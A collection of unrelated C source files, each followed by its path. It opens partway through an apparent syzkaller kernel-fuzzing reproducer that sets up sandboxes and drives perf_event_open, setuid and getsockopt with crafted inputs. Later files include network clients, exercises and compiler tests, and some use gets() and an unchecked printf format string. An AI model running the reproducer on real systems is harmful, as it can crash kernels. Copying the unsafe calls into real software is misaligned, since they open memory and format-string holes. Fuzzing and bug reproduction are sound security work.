snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
exit(1);
if (dup2(netns, kInitNetNsFd) < 0)
exit(1);
close(netns);
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_devlink_pci();
initialize_tun();
initialize_netdevices();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
while (umount2(dir, MNT_DETACH) == 0) {
}
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
while (umount2(filename, MNT_DETACH) == 0) {
}
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
if (umount2(filename, MNT_DETACH))
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
break;
if (i < 100) {
if (errno == EPERM) {
int fd = open(dir, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno == EBUSY) {
if (umount2(dir, MNT_DETACH))
exit(1);
continue;
}
if (errno == ENOTEMPTY) {
if (iter < 100) {
iter++;
goto retry;
}
}
}
exit(1);
}
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_loop()
{
setup_cgroups_loop();
checkpoint_net_namespace();
}
static void reset_loop()
{
reset_net_namespace();
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setup_cgroups_test();
write_file("/proc/self/oom_score_adj", "1000");
flush_tun();
}
static void close_fds()
{
int fd;
for (fd = 3; fd < MAX_FDS; fd++)
close(fd);
}
static void setup_binfmt_misc()
{
if (mount(0, "/proc/sys/fs/binfmt_misc", "binfmt_misc", 0, 0)) {
}
write_file("/proc/sys/fs/binfmt_misc/register", ":syz0:M:0:\x01::./file0:");
write_file("/proc/sys/fs/binfmt_misc/register",
":syz1:M:1:\x02::./file0:POC");
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
setup_loop();
int iter;
for (iter = 0;; iter++) {
char cwdbuf[32];
sprintf(cwdbuf, "./%d", iter);
if (mkdir(cwdbuf, 0777))
exit(1);
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
if (chdir(cwdbuf))
exit(1);
setup_test();
execute_one();
close_fds();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
remove_dir(cwdbuf);
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
NONFAILING(*(uint32_t*)0x20000500 = 1);
NONFAILING(*(uint32_t*)0x20000504 = 0x70);
NONFAILING(*(uint8_t*)0x20000508 = 0);
NONFAILING(*(uint8_t*)0x20000509 = 0);
NONFAILING(*(uint8_t*)0x2000050a = 0);
NONFAILING(*(uint8_t*)0x2000050b = 0);
NONFAILING(*(uint32_t*)0x2000050c = 0);
NONFAILING(*(uint64_t*)0x20000510 = 1);
NONFAILING(*(uint64_t*)0x20000518 = 0);
NONFAILING(*(uint64_t*)0x20000520 = 0);
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 0, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 1, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 2, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 3, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 4, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 5, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 6, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 7, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 8, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 9, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 10, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 11, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 12, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 13, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 14, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 15, 2));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 17, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 18, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 19, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 20, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 21, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 22, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 23, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 24, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 25, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 26, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 27, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 28, 1));
NONFAILING(STORE_BY_BITMASK(uint64_t, , 0x20000528, 0, 29, 35));
NONFAILING(*(uint32_t*)0x20000530 = 0);
NONFAILING(*(uint32_t*)0x20000534 = 0);
NONFAILING(*(uint64_t*)0x20000538 = 0);
NONFAILING(*(uint64_t*)0x20000540 = 0);
NONFAILING(*(uint64_t*)0x20000548 = 0);
NONFAILING(*(uint64_t*)0x20000550 = 0);
NONFAILING(*(uint32_t*)0x20000558 = 0);
NONFAILING(*(uint32_t*)0x2000055c = 0);
NONFAILING(*(uint64_t*)0x20000560 = 0);
NONFAILING(*(uint32_t*)0x20000568 = 0);
NONFAILING(*(uint16_t*)0x2000056c = 0);
NONFAILING(*(uint16_t*)0x2000056e = 0);
res = syscall(__NR_perf_event_open, 0x20000500ul, 0, -1ul, -1, 2ul);
if (res != -1)
r[0] = res;
syscall(__NR_fcntl, r[0], 4ul, 0x42000ul);
syscall(__NR_mount, 0ul, 0ul, 0ul, 0ul, 0ul);
syscall(__NR_socket, 2ul, 2ul, 0x88ul);
syscall(__NR_setuid, 0);
NONFAILING(*(uint32_t*)0x20000100 = 0);
syscall(__NR_getsockopt, -1, 0x29ul, 0x40ul, 0ul, 0x20000100ul);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
setup_binfmt_misc();
install_segv_handler();
for (procid = 0; procid < 6; procid++) {
if (fork() == 0) {
use_temporary_dir();
do_sandbox_none();
}
}
sleep(1000000);
return 0;
}
|
the_stack_data/119588.c
|
// RUN: %ucc -emit=print %s | grep 'typeof' > %t
// RUN: grep "p1 'typeof(A \*)'" %t
// RUN: grep "p2 'typeof(int \*)'" %t
// RUN: grep "a1 'typeof(A)'" %t
// RUN: grep "a2 'typeof(A)'" %t
typedef struct A { int i; } A;
f()
{
__typeof(A *) p1;
__typeof(int *) p2;
__typeof(A) a1;
__typeof(*p1) a2;
}
|
the_stack_data/4169.c
|
// Author: HeRaNO
#include <errno.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#define MAX_CMD_STR 100
char buf[MAX_CMD_STR + 1];
void echo_rqt(int confd)
{
while (fgets(buf, MAX_CMD_STR, stdin) != NULL)
{
int len = strlen(buf);
buf[len - 1] = '\0';
if (!strncmp(buf, "exit", 4)) break;
int nlen = htonl(len);
write(confd, &nlen, sizeof(int));
write(confd, buf, len);
memset(buf, 0, sizeof buf);
int head = 0;
read(confd, &nlen, sizeof(int));
len = ntohl(nlen);
while (len)
{
int ret = read(confd, buf + head, len);
head += ret; len -= ret;
}
printf("[echo_rep] %s\n", buf);
}
return ;
}
void leave(int confd)
{
close(confd);
printf("[cli] connfd is closed!\n");
return ;
}
int main(int argc, char const *argv[])
{
if (argc != 3)
{
printf("Usage: %s <IP> <PORT>\n", argv[0]);
return 0;
}
int confd = socket(AF_INET, SOCK_STREAM, 0);
if (confd < 0)
{
perror("socket");
return 1;
}
struct sockaddr_in srv;
memset(&srv, 0, sizeof(srv));
srv.sin_family = AF_INET;
srv.sin_addr.s_addr = inet_addr(argv[1]);
srv.sin_port = htons(atoi(argv[2]));
do {
int ret = connect(confd, (struct sockaddr *) &srv, sizeof(struct sockaddr));
if (!~ret && errno == EINTR) continue;
if (!ret)
{
printf("[cli] server[%s:%s] is connected!\n", argv[1], argv[2]);
echo_rqt(confd);
}
} while (0);
leave(confd);
printf("[cli] client is exiting!\n");
return 0;
}
|
the_stack_data/97011961.c
|
#include <stdio.h>
#include <string.h>
#define DIM 80
int isPalindrome(char word[], int len)
{
int i;
for (i = 0; i < len/2; i++)
{
if (word[i] != word[len-i-1])
return 0;
}
return 1;
}
int main()
{
char word[DIM];
int len;
scanf("%s", word);
len = strlen(word);
printf(isPalindrome(word, len) ? "yes\n" : "no\n");
return 0;
}
|
the_stack_data/165766749.c
|
/* Subroutines for long double support.
Copyright (C) 2000-2017 Free Software Foundation, Inc.
This file is part of GCC.
GCC is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
Under Section 7 of GPL version 3, you are granted additional
permissions described in the GCC Runtime Library Exception, version
3.1, as published by the Free Software Foundation.
You should have received a copy of the GNU General Public License and
a copy of the GCC Runtime Library Exception along with this program;
see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
<http://www.gnu.org/licenses/>. */
extern int _U_Qfcmp (long double a, long double b, int);
int _U_Qfeq (long double, long double);
int _U_Qfne (long double, long double);
int _U_Qfgt (long double, long double);
int _U_Qfge (long double, long double);
int _U_Qflt (long double, long double);
int _U_Qfle (long double, long double);
int _U_Qfcomp (long double, long double);
int
_U_Qfeq (long double a, long double b)
{
return (_U_Qfcmp (a, b, 4) != 0);
}
int
_U_Qfne (long double a, long double b)
{
return (_U_Qfcmp (a, b, 4) == 0);
}
int
_U_Qfgt (long double a, long double b)
{
return (_U_Qfcmp (a, b, 17) != 0);
}
int
_U_Qfge (long double a, long double b)
{
return (_U_Qfcmp (a, b, 21) != 0);
}
int
_U_Qflt (long double a, long double b)
{
return (_U_Qfcmp (a, b, 9) != 0);
}
int
_U_Qfle (long double a, long double b)
{
return (_U_Qfcmp (a, b, 13) != 0);
}
int
_U_Qfcomp (long double a, long double b)
{
if (_U_Qfcmp (a, b, 4) == 0)
return 0;
return (_U_Qfcmp (a, b, 22) != 0 ? 1 : -1);
}
|
the_stack_data/150139780.c
|
int main (void)
{
#if __GNUC__
#if __clang__
This is clang
# endif
#else
This is not GCC.
#endif
return 0 ;
}
|
the_stack_data/43122.c
|
/*
** talker.c -- a datagram "client" demo
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define SERVERPORT "4950" // the port users will be connecting to
int main(int argc, char *argv[])
{
int sockfd;
struct addrinfo hints, *servinfo, *p;
int rv;
int numbytes;
if (argc != 3)
{
fprintf(stderr,"usage: talker hostname message\n");
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_DGRAM;
if ((rv = getaddrinfo(argv[1], SERVERPORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}
// loop through all the results and make a socket
for (p = servinfo; p != NULL; p = p->ai_next)
{
if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("talker: socket");
continue;
}
break;
}
if (p == NULL)
{
fprintf(stderr, "talker: failed to create socket\n");
return 2;
}
if ((numbytes = sendto(sockfd, argv[2], strlen(argv[2]), 0,
p->ai_addr, p->ai_addrlen)) == -1)
{
perror("talker: sendto");
exit(1);
}
freeaddrinfo(servinfo);
printf("talker: sent %d bytes to %s\n", numbytes, argv[1]);
close(sockfd);
return 0;
}
|
the_stack_data/64664.c
|
unsigned int _seed = 0xDEADBEEF;
long int random( void ) {
unsigned int next = _seed;
unsigned long int result;
next *= 1103515245;
next += 12345;
result = ( unsigned int ) ( next / 65536 ) % 2048;
next *= 1103515245;
next += 12345;
result <<= 10;
result ^= ( unsigned int ) ( next / 65536 ) % 1024;
next *= 1103515245;
next += 12345;
result <<= 10;
result ^= ( unsigned int ) ( next / 65536 ) % 1024;
_seed = next;
return result;
}
|
the_stack_data/644398.c
|
#include <termios.h>
#include <sys/ioctl.h>
int tcsendbreak(int fd, int dur)
{
/* nonzero duration is implementation-defined, so ignore it */
#ifndef PS4
return ioctl(fd, TCSBRK, 0);
#else
return ioctl(fd, LINUX_TCSBRK, 0);
#endif
}
|
the_stack_data/90765847.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include <math.h>
#include <ctype.h>
int main(int argc, char *argv[]) {
int n, t;
scanf("%d%d", &n, &t);
int *a = (int *) calloc(n, sizeof(int));
int *b = (int *) calloc(t, sizeof(int));
for (int i = 0; i < n; ++i) {
scanf("%d", &a[i]);
}
for (int i = 0; i < t; ++i) {
scanf("%d", &b[i]);
}
for (int i = 0; i < t; ++i) {
int f = 0;
for (int j = 0; j < n; ++j) {
if (b[i] == a[j])
f = 1;
}
if (f)
puts("Yes");
else
puts("No");
}
return 0;
}
|
the_stack_data/878081.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct {
float dist_dia;
float dist_semana;
float valor_ano; //Value displayed as kilometers
} distancia_anual;
void calcular_valor_ano(distancia_anual *dist_ano, float dist) {
dist_ano->dist_dia = dist * 2;
dist_ano->dist_semana = dist_ano->dist_dia * 5;
dist_ano->valor_ano = (dist_ano->dist_semana * 45)/1000;
}
int main() {
float dist;
distancia_anual dist_ano;
printf(" - Qual a sua distancia de casa ate o trabalho em metros? ");
scanf(" %f", &dist);
calcular_valor_ano(&dist_ano, dist);
printf(" - Depois de um ano com sua rotina, voce tera andado %4.2fkm", dist_ano.valor_ano);
}
|
the_stack_data/683198.c
|
#include <stdio.h>
int its_a_rectangle(int w, int h);
void main(){
int i, j;/*counters*/
int width, heigth;
int area;
/*set the values*/
printf("put de width :");
scanf("%d", &width);
printf("put de heigth :");
scanf("%d", &heigth);
if(its_a_rectangle(width, heigth) == 1){
area = width * heigth;
}
else{
printf("its a square\n");
return;
}
//proces sum
printf("------------------------------\n\n");
for (i = 0; i < heigth; ++i)
{
for (j = 0; j < width; j++)
{
printf(" * ");
}
printf("\n");
}
printf("\n\nThe area is %d\n", area);
}
int its_a_rectangle(int w, int h){
if( w != h) return 1;
}
|
the_stack_data/104997.c
|
typedef union {
int test;
} myunion;
void fn_call(myunion* t)
{
}
int main()
{
int i = 1;
fn_call((myunion*)&i);
return 0;
}
|
the_stack_data/1112004.c
|
#include<stdio.h>
int main(void)
{
int n;
printf("Digite um numero: ");
scanf("%d", &n);
if(n % 2 == 0)
{
printf("Par");
}
if(n % 2 != 0)
{
printf("Impar");
}
return 0;
}
|
the_stack_data/84322.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
extern int __VERIFIER_nondet_int(void);
int N;
int main ( ) {
N = __VERIFIER_nondet_int();
int a [N];
int i = 0;
while ( i < N ) {
a[i] = 42;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 43;
i = i + 1;
}
i = 0;
while ( i < N ) {
a[i] = 44;
i = i + 1;
}
int x;
for ( x = 0 ; x < N ; x++ ) {
__VERIFIER_assert( a[x] == 43 );
}
return 0;
}
|
the_stack_data/225143614.c
|
#include <stdio.h>
#include <string.h>
#define SIZE 512
int main()
{
char c[SIZE], s[SIZE];
int i, x, y;
printf("Plz Enter Something...\n");
gets(c);
x = strlen(c);
strcpy(s, c);
for (i = 0; i < x; i++)
{
c[i] = s[x - 1 - i];
}
printf("Bibbidi Bobbidi Boo~\n");
puts(c);
return 0;
}
|
the_stack_data/165664.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* printf_u.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jgigault <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2015/01/06 11:34:07 by jgigault #+# #+# */
/* Updated: 2015/01/10 12:58:26 by jgigault ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int ret;
ret = -999;
if (argv[1][0] == 'h')
{
ret = printf(argv[2], atoi(argv[3]));
}
else if (argv[1][0] == 'l')
{
ret = printf(argv[2], atoll(argv[3]));
}
else
{
if (argc == 4)
ret = printf(argv[2], atoll(argv[3]));
else if (argc == 5)
ret = printf(argv[2], atoi(argv[3]), atoi(argv[4]));
else if (argc == 6)
ret = printf(argv[2], atoi(argv[3]), atoi(argv[4]), atoi(argv[5]));
else if (argc == 7)
ret = printf(argv[2], atoi(argv[3]), atoi(argv[4]), atoi(argv[5]), atoi(argv[6]));
else if (argc == 8)
ret = printf(argv[2], atoi(argv[3]), atoi(argv[4]), atoi(argv[5]), atoi(argv[6]), atoi(argv[7]));
}
printf("|%d", ret);
return (0);
}
|
the_stack_data/104828012.c
|
#include <stdlib.h>
char* itoa(int value, char *str, int base)
{
// var
char * rc;
char * ptr;
char * low;
// check base
if ( base < 2 || base > 36 )
{
*str = '\0';
return str;
}
rc = ptr = str;
// manage negative value for base 10
if ( value < 0 && base == 10 )
{
*ptr++ = '-';
}
low = ptr;
// convert with a trick to avoid a call to abs() function
do
{
*ptr++ = "zyxwvutsrqponmlkjihgfedcba9876543210123456789abcdefghijklmnopqrstuvwxyz"[35 + value % base];
value /= base;
} while ( value );
// end the string
*ptr-- = '\0';
//
while ( low < ptr )
{
char tmp = *low;
*low++ = *ptr;
*ptr-- = tmp;
}
// return value
return rc;
}
|
the_stack_data/142122.c
|
#include <stdio.h>
#include<stdlib.h>
#define MAX 50
void insert();
void delete();
void display();
int queue_array[MAX];
int rear = - 1;
int front = - 1;
int main()
{
int choice;
while (1)
{
printf("1.Insert element to queue \n");
printf("2.Delete element from queue \n");
printf("3.Display all elements of queue \n");
printf("4.Quit \n");
printf("Enter your choice : ");
scanf("%d", &choice);
switch(choice)
{
case 1:
insert();
break;
case 2:
delete();
break;
case 3:
display();
break;
case 4:
exit(1);
default:
printf("Wrong choice \n");
}
}
}
void insert()
{
int item;
if(rear == MAX - 1)
printf("Queue Overflow \n");
else
{
if(front== - 1)
front = 0;
printf("Inset the element in queue : ");
scanf("%d", &item);
rear = rear + 1;
queue_array[rear] = item;
}
}
void delete()
{
if(front == - 1 || front > rear)
{
printf("Queue Underflow \n");
return;
}
else
{
printf("Element deleted from queue is : %d\n", queue_array[front]);
front = front + 1;
}
}
void display()
{
int i;
if(front == - 1)
printf("Queue is empty \n");
else
{
printf("Queue is : \n");
for(i = front; i <= rear; i++)
printf("%d ", queue_array[i]);
printf("\n");
}
}
|
the_stack_data/998003.c
|
void foo(int i);
// RUN: rm -rf %t/idx
// RUN: %clang_cc1 -index-store-path %t/idx %s -o %t.o
// RUN: touch %t.empty
// RUN: cp %t.empty $(find %t/idx -name "empty-unit.c*o*")
// RUN: not c-index-test core -print-unit %t/idx 2> %t.err
// RUN: FileCheck %s -input-file %t.err -check-prefix ERR-UNIT
// ERR-UNIT: error loading unit: empty file
// Also check for empty record files.
// RUN: rm -rf %t/idx2
// RUN: %clang_cc1 -index-store-path %t/idx2 %s -o %t.o
// RUN: cp %t.empty $(find %t/idx2 -name "empty-unit.c-*")
// RUN: not c-index-test core -print-record %t/idx2 2> %t2.err
// RUN: FileCheck %s -input-file %t2.err -check-prefix ERR-RECORD
// ERR-RECORD: error loading record: empty file
|
the_stack_data/325436.c
|
#include <stdio.h>
#define DIM 5
void printField(int field[DIM][DIM])
{
int i = 0,j = 0;
for (i = 0;i < DIM;i++) {
for (j = 0;j < DIM;j++) {
if (field[i][j] == 1) {
printf("●");
} else {
printf("□");
}
}
printf("\n");
}
}
int checkOtherStone(int field[DIM][DIM],int i,int j)
{
int u = 0,v = 0;
for (u = 0;u < DIM;u++) {
if (field[u][j] == 1) return 1;
}
for (u = i,v = j;u >= 0 && v >= 0;u--,v--) {
if (field[u][v] == 1) return 1;
}
for (u = i,v = j;u < DIM && v < DIM;u++,v++) {
if (field[u][v] == 1) return 1;
}
for (u = i,v = j;u >= 0 && v < DIM;u--,v++) {
if (field[u][v] == 1) return 1;
}
for (u = i,v = j;u < DIM && v >= 0;u++,v--) {
if (field[u][v] == 1) return 1;
}
return 0;
}
int searchAnswer(int field[DIM][DIM],int i)
{
int j = 0;
static int answer_number = 0;
if (i == DIM) {
printf("\n<%d>\n",++answer_number);
printField(field);
return 0;
}
for (j = 0;j < DIM;j++) {
if (!checkOtherStone(field,i,j)) {
field[i][j] = 1; /* put */
searchAnswer(field,i + 1);
field[i][j] = 0; /* remove */
}
}
return answer_number;
}
int main()
{
int i = 0,j = 0;
int field[DIM][DIM];
for (i = 0;i < DIM;i++) {
for (j = 0;j < DIM;j++) {
field[i][j] = 0;
}
}
int answer_number = searchAnswer(field,0);
printf("\n解の総数:%d個\n",answer_number);
return 0;
}
|
the_stack_data/50138373.c
|
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <ctype.h>
int countLoops(int subject) {
return 0;
}
uint64_t loopFromPk(uint64_t pk, uint64_t sub) {
uint64_t erg = 1;
uint64_t loops = 0;
while (erg != pk) {
erg *= sub;
erg = erg % 20201227;
loops++;
}
return loops;
}
uint64_t encyptionKey(uint64_t sub, uint64_t loopSize) {
uint64_t erg = 1;
for (int i = 0; i < loopSize; i++) {
erg *= sub;
erg = erg % 20201227;
}
return erg;
}
int main(void) {
// Test
// printf("loopsize=8 == %llu? \n", loopFromPk(5764801, 7));
// printf("loopsize=11 == %llu? \n", loopFromPk(17807724, 7));
// printf("14897079 == %llu? \n", encyptionKey(17807724, 8));
// printf("14897079 == %llu? \n", encyptionKey(5764801, 11));
FILE* f = fopen("input25.txt", "r");
if (f != NULL) {
char buf[100];
fgets(buf, sizeof buf, f);
uint64_t pkCard = strtol(buf, 0, 0);
fgets(buf, sizeof buf, f);
uint64_t pkDoor = strtol(buf, 0, 0);
fclose(f);
printf("Part 1: %llu\n", encyptionKey(pkDoor, loopFromPk(pkCard, 7)));
}
return 0;
}
|
the_stack_data/762292.c
|
#include <stdio.h>
#include <string.h>
int main() {
char w1[30], w2[30], w3[30];
gets(w1);
gets(w2);
gets(w3);
if (strcmp(w1, "vertebrado") == 0) {
if (strcmp(w2, "ave") == 0) {
if (strcmp(w3, "carnivoro" ) ==0) {
printf("aguia\n");
}
if (strcmp(w3, "onivoro") == 0){
printf("pomba\n");
}
}
if (strcmp(w2, "mamifero") == 0) {
if (strcmp(w3, "onivoro") == 0) {
printf("homem\n");
}
if (strcmp(w3, "herbivoro") == 0){
printf("vaca\n");
}
}
}
if (strcmp(w1, "invertebrado") == 0) {
if (strcmp(w2, "inseto") == 0) {
if (strcmp(w3, "hematofago") == 0) {
printf("pulga\n");
}
if (strcmp(w3, "herbivoro") == 0) {
printf("lagarta\n");
}
}
if (strcmp(w2, "anelideo") == 0) {
if (strcmp(w3, "hematofago") == 0) {
printf("sanguessuga\n");
}
if (strcmp(w3, "onivoro") == 0) {
printf("minhoca\n");
}
}
}
return 0;
}
|
the_stack_data/15763079.c
|
void
fn1 (int p)
{
}
|
the_stack_data/505786.c
|
//clang -Xclang -ast-dump -fsyntax-only main.c
#include <stdio.h>
long long c;
long long d = 10;
int main() {
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
//10
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
//20
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
//30
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
c = d;
